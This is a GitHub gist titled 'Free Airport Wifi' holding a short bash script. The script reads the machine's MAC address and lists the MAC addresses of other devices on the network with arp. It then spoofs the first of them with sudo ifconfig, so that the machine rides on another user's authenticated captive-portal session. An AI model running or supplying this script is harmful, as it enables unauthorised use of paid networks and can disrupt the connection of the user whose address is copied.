Skip to content

Instantly share code, notes, and snippets.

@brycepj
Last active August 29, 2015 14:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brycepj/4a78292374faeb51839c to your computer and use it in GitHub Desktop.
Save brycepj/4a78292374faeb51839c to your computer and use it in GitHub Desktop.
Free Airport Wifi
#!/bin/bash
# get current MAC address
current_grep_MAC=$(ifconfig en1 | grep ether)
for i in $(echo $current_grep_MAC)
do
len="${#i}"
if [ $len -eq "17" ]; then
current_MAC="$i"
printf "Your MAC address -- $i -- is valid.\n"
fi
done
# view other devices on network
MACs=( $(arp -a | cut -f 4 -d ' ') )
printf "Current MACs on this network: $MACs\n"
# store the MAC address of the first device on the network
new_MAC_to_spoof="${MACs[0]}"
printf "$new_MAC_to_spoof is the new MAC address.\n"
# spoof your MAC address
sudo ifconfig en1 ether $new_MAC_to_spoof
final_grep_MAC=$(ifconfig en1 | grep ether)
# check if MAC address has changed
if [ "$final_grep_MAC" == "$current_grep_MAC" ]; then
printf "Nothing changed, bro. Something went wrong.\n"
exit 1
fi
printf "Successfully spoofed.\n"
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment